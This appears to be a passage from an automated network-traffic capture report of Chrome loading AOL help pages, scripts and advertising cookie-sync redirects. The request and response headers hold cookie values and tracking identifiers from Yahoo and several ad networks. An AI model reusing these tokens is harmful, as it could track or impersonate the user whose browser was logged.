2024-05-23 22:35:10 UTC	1490	OUT	POST /p?_V=V&V_sec=pb&evt=v_request&t=0.1765564270442208&_sqno=0&ts=0&auto=false&bckt=none&ccode=&cdn=&cont=1&cpos=&expb=aol-acookie-control%2Caol-aa-1&expn=aolhomepage&expt=&expm=na&focus=1&intl=us&lang=en-US&layout=aolgrid&lms_id=&loc=onProp&msz=&p_sec=AOL&p_subsec=homepage&pbst=init&pct=aol&pd=&pg_name=&pkgt=&pls=c32aa27e-7796-468d-8df4-0e2b43fa14aa&pltype=ev-desktop&pl_bckt=&pstaid=42b897a6-9771-3329-b351-69a701a77438&pstaid_p=&pstcat=&psz=368x276&pt=home&pver=1.6.29&_rid=30rmpplj4vh3m&region=US&replay=0&rlvtscr=&s=1197803361&sec=releases&site=aolhomepage&snd=m&subsec=aol_on_video&test=aol-acookie-control%2Caol-aa-1&type=vod+short&ar=1.33&ver=td-app-aol&vid=42b897a6-9771-3329-b351-69a701a77438&vidPos=&vlng=0&vs=b2be1uzt&tmout=10&vptm=10&preload=true&errstate=none&_w=https%3A%2F%2Fwww.aol.com%2F&_R=&adUrl=&view= HTTP/1.1 Host: bats.video.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:10 UTC	1058	IN	HTTP/1.1 200 OK content-length: 0 content-type: text/plain x-envoy-upstream-service-time: 87 date: Thu, 23 May 2024 22:35:10 GMT server: ATS Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Set-Cookie: A1=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:10 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure; HttpOnly Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:10 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly Set-Cookie: A1S=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
555	192.168.2.6	50373	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:10 UTC	576	OUT	GET /psstatic/aolhelp-prod/18.5.53/assets/js/vendor/json2-20140204.min.js HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:10 UTC	485	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 197319 Content-Type: application/javascript Date: Thu, 23 May 2024 22:35:10 GMT Etag: "96ab7772a2b7c949edd6b95e6abc8317" Last-Modified: Mon, 06 May 2024 22:01:34 GMT Server: ECAcc (lhd/35C3) Vary: Accept-Encoding x-amz-id-2: hs1h/sHq4MHmS2j8ceq2ay5P1bs/eoDebIzKTtAjFkrhGfOzVpzpLaK8c/N/cc/CbL5hJ1gA5Rc= x-amz-request-id: 5YSQ1VQ1GQ92JV9B x-amz-server-side-encryption: AES256 X-Cache: HIT Content-Length: 2953 Connection: close
2024-05-23 22:35:10 UTC	2953	IN	Data Raw: 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 4a 53 4f 4e 26 26 28 4a 53 4f 4e 3d 7b 7d 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 66 28 74 29 7b 72 65 74 75 72 6e 20 31 30 3e 74 3f 22 30 22 2b 74 3a 74 7d 66 75 6e 63 74 69 6f 6e 20 71 75 6f 74 65 28 74 29 7b 72 65 74 75 72 6e 20 65 73 63 61 70 61 62 6c 65 2e 6c 61 73 74 49 6e 64 65 78 3d 30 2c 65 73 63 61 70 61 62 6c 65 2e 74 65 73 74 28 74 29 3f 27 22 27 2b 74 2e 72 65 70 6c 61 63 65 28 65 73 63 61 70 61 62 6c 65 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 65 74 61 5b 74 5d 3b 72 65 74 75 72 6e 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 3f 65 3a 22 5c 5c 75 22 2b 28 22 30 30 30 30 22 2b 74 2e 63 68 61 72 43 6f Data Ascii: "object"!=typeof JSON&&(JSON={}),function(){"use strict";function f(t){return 10>t?"0"+t:t}function quote(t){return escapable.lastIndex=0,escapable.test(t)?'"'+t.replace(escapable,function(t){var e=meta[t];return"string"==typeof e?e:"\\u"+("0000"+t.charCo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
556	192.168.2.6	50374	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:10 UTC	556	OUT	GET /psstatic/aolhelp-prod/18.5.53/assets/js/main2.js HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:10 UTC	485	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 197054 Content-Type: application/javascript Date: Thu, 23 May 2024 22:35:10 GMT Etag: "68c88fdfdab1e9a2a89d067da6fe4cba" Last-Modified: Mon, 06 May 2024 22:01:34 GMT Server: ECAcc (lhd/35CC) Vary: Accept-Encoding x-amz-id-2: tCfd63MlZYQBGjovOpOQuiXVQ3ZkycG+wJnlmBC2fjk7iiO9rs6FuD/gaB4EEW+Glg6Mr5nB2Kw= x-amz-request-id: B0P76AYPAR5J7KQ3 x-amz-server-side-encryption: AES256 X-Cache: HIT Content-Length: 3571 Connection: close
2024-05-23 22:35:10 UTC	3571	IN	Data Raw: 69 66 20 28 21 41 6f 6c 48 65 6c 70 47 6c 6f 62 61 6c 73 29 20 7b 0a 09 77 69 6e 64 6f 77 2e 41 6f 6c 48 65 6c 70 47 6c 6f 62 61 6c 73 20 3d 20 7b 7d 3b 0a 7d 0a 0a 41 6f 6c 48 65 6c 70 47 6c 6f 62 61 6c 73 2e 69 64 70 2e 69 6e 63 6c 75 64 65 20 3d 20 28 41 6f 6c 48 65 6c 70 47 6c 6f 62 61 6c 73 2e 69 64 70 2e 64 65 6e 79 6c 69 73 74 2e 69 6e 64 65 78 4f 66 28 41 6f 6c 48 65 6c 70 47 6c 6f 62 61 6c 73 2e 62 72 61 6e 64 49 64 29 20 3d 3d 3d 20 2d 31 29 3b 0a 0a 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 41 6f 6c 48 65 6c 70 47 6c 6f 62 61 6c 73 2c 20 7b 0a 09 69 73 4d 6f 62 69 6c 65 3a 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 4d 6f 64 65 72 6e 69 7a 72 2e 6d 71 28 27 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 34 34 70 78 29 27 29 3b Data Ascii: if (!AolHelpGlobals) {window.AolHelpGlobals = {};}AolHelpGlobals.idp.include = (AolHelpGlobals.idp.denylist.indexOf(AolHelpGlobals.brandId) === -1);jQuery.extend(AolHelpGlobals, {isMobile: function() {return Modernizr.mq('(max-width: 744px)');

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
557	192.168.2.6	50375	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:10 UTC	570	OUT	GET /psstatic/aolhelp-prod/18.5.53/assets/modules/en-bundle-home.js HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:10 UTC	486	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 194241 Content-Type: application/javascript Date: Thu, 23 May 2024 22:35:10 GMT Etag: "a73c33d7bf1324f787cfe13c6a23d2ed" Last-Modified: Mon, 06 May 2024 22:01:34 GMT Server: ECAcc (lhd/35F1) Vary: Accept-Encoding x-amz-id-2: yzr9uvAy3O1lbGJwffKGHq/ffBuhtT1f/QGyFmps/5NH9jT5B0liwxw6FK689E9gJ0Linw/T/lE= x-amz-request-id: SYA3FZZMB6HYARG7 x-amz-server-side-encryption: AES256 X-Cache: HIT Content-Length: 13124 Connection: close
2024-05-23 22:35:10 UTC	13124	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 61 29 7b 66 6f 72 28 76 61 72 20 69 2c 74 2c 72 3d 61 5b 30 5d 2c 73 3d 61 5b 31 5d 2c 6f 3d 30 2c 6c 3d 5b 5d 3b 6f 3c 72 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 74 3d 72 5b 6f 5d 2c 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 74 29 26 26 6e 5b 74 5d 26 26 6c 2e 70 75 73 68 28 6e 5b 74 5d 5b 30 5d 29 2c 6e 5b 74 5d 3d 30 3b 66 6f 72 28 69 20 69 6e 20 73 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 73 2c 69 29 26 26 28 65 5b 69 5d 3d 73 5b 69 5d 29 3b 66 6f 72 28 63 26 26 63 28 61 29 3b 6c 2e 6c 65 6e 67 74 68 3b 29 6c 2e 73 68 69 66 74 28 29 28 29 Data Ascii: !function(e){function a(a){for(var i,t,r=a[0],s=a[1],o=0,l=[];o<r.length;o++)t=r[o],Object.prototype.hasOwnProperty.call(n,t)&&n[t]&&l.push(n[t][0]),n[t]=0;for(i in s)Object.prototype.hasOwnProperty.call(s,i)&&(e[i]=s[i]);for(c&&c(a);l.length;)l.shift()()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
558	192.168.2.6	50376	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:10 UTC	571	OUT	GET /caas-assets-production/assets/v1/aol_header.fc4e0d588a56cf65.js HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:10 UTC	636	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5167496 Cache-Control: max-age=365000000, immutable Content-Type: application/javascript; charset=utf-8 Date: Thu, 23 May 2024 22:35:10 GMT Etag: "fc4e0d588a56cf65aa0091df49183917" Last-Modified: Wed, 10 Jan 2024 09:55:35 GMT Server: ECAcc (lhd/35DB) Vary: Accept-Encoding x-amz-id-2: FW4mwz2w6mcEaRpj2W2cmYAIO0Uces9scORBi7A+2ex/S0cTR0PlTAlnRMpvpymBgsWJwwkUhLk= x-amz-replication-status: COMPLETED x-amz-request-id: Y6Q33R2BE9CEYA4Z x-amz-server-side-encryption: AES256 x-amz-version-id: WKsYBpZEoANyBaBAL3MxU2SJb3wxAkM8 X-Cache: HIT Content-Length: 75555 Connection: close
2024-05-23 22:35:10 UTC	16383	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 61 6f 6c 5f 68 65 61 64 65 72 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 43 41 41 53 5f 41 4f 4c 43 4f 4d 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 43 41 41 53 5f Data Ascii: /! For license information please see aol_header.js.LICENSE.txt /!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],t):"object"==typeof exports?exports.CAAS_
2024-05-23 22:35:10 UTC	16383	IN	Data Raw: 70 6c 61 63 65 28 74 2c 72 29 7d 29 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 74 26 26 28 74 3d 7b 7d 29 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 74 26 26 28 74 3d 7b 7d 29 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 6f 69 64 20 30 3d 3d 3d 74 26 26 28 74 3d 7b 7d 29 3b 66 6f 72 28 76 61 72 20 72 3d 74 2e 73 70 6c 69 74 52 65 67 65 78 70 2c 6e 3d 76 6f 69 64 20 30 3d 3d 3d 72 3f 61 3a 72 2c 6f 3d 74 2e 73 74 72 69 70 52 65 67 65 78 70 2c 6c 3d 76 6f 69 64 20 30 3d 3d 3d 6f 3f 75 3a 6f 2c 63 3d 74 2e 74 72 61 6e 73 66 6f 72 6d 2c 66 3d 76 6f 69 64 20 30 3d 3d 3d 63 3f 69 3a 63 2c 64 3d 74 2e 64 65 6c 69 6d 69 74 65 72 2c 68 3d 76 6f 69 Data Ascii: place(t,r)}),e)}function l(e,t){return void 0===t&&(t={}),function(e,t){return void 0===t&&(t={}),function(e,t){void 0===t&&(t={});for(var r=t.splitRegexp,n=void 0===r?a:r,o=t.stripRegexp,l=void 0===o?u:o,c=t.transform,f=void 0===c?i:c,d=t.delimiter,h=voi
2024-05-23 22:35:10 UTC	2	IN	Data Raw: 74 75 Data Ascii: tu
2024-05-23 22:35:10 UTC	16383	IN	Data Raw: 72 6e 20 6f 3b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 40 40 74 6f 50 72 69 6d 69 74 69 76 65 20 6d 75 73 74 20 72 65 74 75 72 6e 20 61 20 70 72 69 6d 69 74 69 76 65 20 76 61 6c 75 65 2e 22 29 7d 72 65 74 75 72 6e 20 53 74 72 69 6e 67 28 74 29 7d 28 74 29 3b 72 65 74 75 72 6e 22 73 79 6d 62 6f 6c 22 3d 3d 65 28 72 29 3f 72 3a 53 74 72 69 6e 67 28 72 29 7d 72 2e 72 28 6e 29 2c 72 2e 64 28 6e 2c 7b 64 65 66 61 75 6c 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4c 65 7d 7d 29 3b 76 61 72 20 63 2c 66 3d 72 28 33 37 30 37 29 2e 67 65 74 4f 62 6a 65 63 74 56 61 6c 75 65 2c 64 3d 28 63 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 21 28 65 20 Data Ascii: rn o;throw new TypeError("@@toPrimitive must return a primitive value.")}return String(t)}(t);return"symbol"==e(r)?r:String(r)}r.r(n),r.d(n,{default:function(){return Le}});var c,f=r(3707).getObjectValue,d=(c=function(){function e(){!function(e,t){if(!(e
2024-05-23 22:35:10 UTC	16383	IN	Data Raw: 65 2c 74 2c 72 29 7b 69 66 28 74 26 26 21 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 74 29 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 74 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 6e 3d 74 2e 6c 65 6e 67 74 68 3b 72 65 74 75 72 6e 20 4c 28 74 2c 6e 29 7d 72 65 74 75 72 6e 20 65 28 74 2c 72 29 7d 28 4d 2c 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 72 29 29 2c 74 68 69 73 2e 6d 61 69 6c 50 72 65 76 69 65 77 45 6c 65 6d 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 29 2c 74 68 69 73 2e 79 6c 6b 3d 7b 7d 2c 74 68 69 73 2e 6d 61 69 6c 50 72 65 76 69 65 77 45 6c 65 6d 26 26 28 74 68 69 73 2e 6c 6f 63 61 6c 65 3d 74 68 69 73 2e 6d 61 69 6c 50 72 65 76 69 65 77 45 6c 65 6d 2e 64 61 74 61 73 Data Ascii: e,t,r){if(t&&!Array.isArray(t)&&"number"==typeof t.length){var n=t.length;return L(t,n)}return e(t,r)}(M,document.querySelectorAll(r)),this.mailPreviewElem=document.querySelector(n),this.ylk={},this.mailPreviewElem&&(this.locale=this.mailPreviewElem.datas
2024-05-23 22:35:10 UTC	10021	IN	Data Raw: 63 65 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 65 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 26 26 65 21 3d 3d 53 79 6d 62 6f 6c 2e 70 72 6f 74 6f 74 79 70 65 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 2c 63 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 66 65 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 Data Ascii: ce="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},ce(e)}function fe(e){return function(e){if(Array.i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
559	192.168.2.6	50370	35.186.193.173	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:10 UTC	813	OUT	GET /int/cm?exc=14&redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MTEmdGw9MjAxNjA=&piggybackCookie=[user_id] HTTP/1.1 Host: ipac.ctnsnet.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:10 UTC	475	IN	HTTP/1.1 200 P3P: CP="NOI DSP COR NID CUR OUR NOR" Set-Cookie: cid_25ec67788f4843c9a56fe353d3c7b121=1; path=/; domain=.ctnsnet.com; expires=Fri, 23 May 2025 22:35:10 GMT; Secure; SameSite=None; Pragma: no-cache Cache-Control: no-cache, must-revalidate Expires: Fri, 01 Jan 1990 00:00:00 GMT Content-Type: image/gif Content-Length: 43 Date: Thu, 23 May 2024 22:35:09 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:10 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
560	192.168.2.6	50367	13.32.99.104	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:10 UTC	670	OUT	GET /live/liveCS.php?source=external&advId=100&advUuid=LWJTZABN-X-K4PW&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: live.primis.tech Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:10 UTC	812	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close server: nginx date: Thu, 23 May 2024 22:35:10 GMT p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: no-store pragma: no-cache set-cookie: csuuid=664fc49e8e7d0; expires=Mon, 17-Jun-2024 22:35:10 GMT; Max-Age=2160000; path=/; domain=.primis.tech; secure; SameSite=None location: https://sync.intentiq.com/profiles_user/ProfilesuserServlet?at=20&mi=10&dpi=793790479&3rddpi=1725065545&3rdpcid=LWJTZABN-X-K4PW X-Cache: Miss from cloudfront Via: 1.1 c43915e0cad14ee7685e5f74a99ce93c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P3 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: I6viNUiCGFrLi5DhBygnvurBgdFCpBtJ0KKnFOO9_bwNvW1brAywmg== Age: 0
2024-05-23 22:35:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
561	192.168.2.6	50389	54.171.72.23	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:10 UTC	634	OUT	GET /merge?pid=80&3pid=LWJTZABN-X-K4PW&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: ce.lijit.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:10 UTC	564	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:10 GMT Content-Length: 0 Connection: close Vary: Accept-Encoding Set-Cookie: ljt_reader=ItNLAQZHfit0Ml6gQsWPeZ0W; Path=/; Domain=.lijit.com; Expires=Fri, 23 May 2025 22:35:10 GMT; Max-Age=31536000;Secure;SameSite=None Expires: Fri, 20 Mar 2009 00:00:00 GMT Cache-Control: private, no-cache, no-store, must-revalidate, proxy-revalidate, max-age=0, s-maxage=0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Location: https://ce.lijit.com/merge?pid=80&3pid=LWJTZABN-X-K4PW&gdpr=0&us_privacy=1YNN&dnr=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
562	192.168.2.6	50385	54.217.19.5	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:10 UTC	731	OUT	GET /bridge?AG_PID=pubmatic&AG_SETCOOKIE&gdpr=0&gdpr_consent= HTTP/1.1 Host: cm.adgrx.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:10 UTC	587	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:10 GMT Content-Type: image/gif Content-Length: 0 Connection: close server: Cowboy set-cookie: ADGRX_UID=b6bfeee6-1954-11ef-855d-a248653d767a; Version=1; Expires=Sun, 22-Jun-2025 22:35:10 GMT; Max-Age=34128000; Domain=.adgrx.com; Path=/; Secure; SameSite=None Location: https://cm.adgrx.com/bridge.gif?AG_PID=pubmatic&gdpr=0&gdpr_consent= Cache-Control: no-cache, no-store, must-revalidate, proxy-revalidate Pragma: no-cache Expires: Thu, 23 Sep 2004 17:42:04 GMT P3P: CP="NOI OTC OTP OUR NOR" Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
